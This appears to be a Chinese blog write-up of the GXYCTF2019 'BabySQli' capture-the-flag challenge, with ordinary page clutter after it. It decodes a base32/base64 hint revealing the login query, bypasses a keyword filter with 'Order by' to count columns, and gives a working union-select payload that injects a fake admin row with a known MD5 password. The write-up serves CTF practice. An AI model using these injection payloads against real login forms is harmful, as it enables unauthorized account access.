[GXYCTF2019]BabySQli

[GXYCTF2019]BabySQli

题目描述:

buu上的,题目链接

解题过程:

首先试了试,发现有提示

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

先进行base32解码,得到

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

再进行base64解码,得到提示

select * from user where username = '$name'

好了,有了提示,然后fuzz一下,发现了一些东西

发现or,order,information_schema被过滤,但是order可以通过Order来进行绕过。

 name=admin'&pw=1  报错

name=admin'#&pw=1  回显wrong pass

通过

name=admin' Order by 4#&pw=1

回显:Error: Unknown column '4' in 'order clause'.

name=admin' Order by 3#&pw=1

回显:wrong pass

 可知字段数为3

接下来就是本题的考点了

本题考点:联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据

本地复现:

首先创建一个库,里面有users这个表,先写进几个初值,

然后进行联合查询

会有这样的结果,但是如果你再次刷新该库,数据并没有保存。(我认为这就是大佬们说的构造虚拟的数据,如有错误,欢迎指正)

name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

 其中'c4ca4238a0b923820dcc509a6f75849b'是1的md5加密值。

 


相关链接:

1.发现了Y1ng师傅的博客地址

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值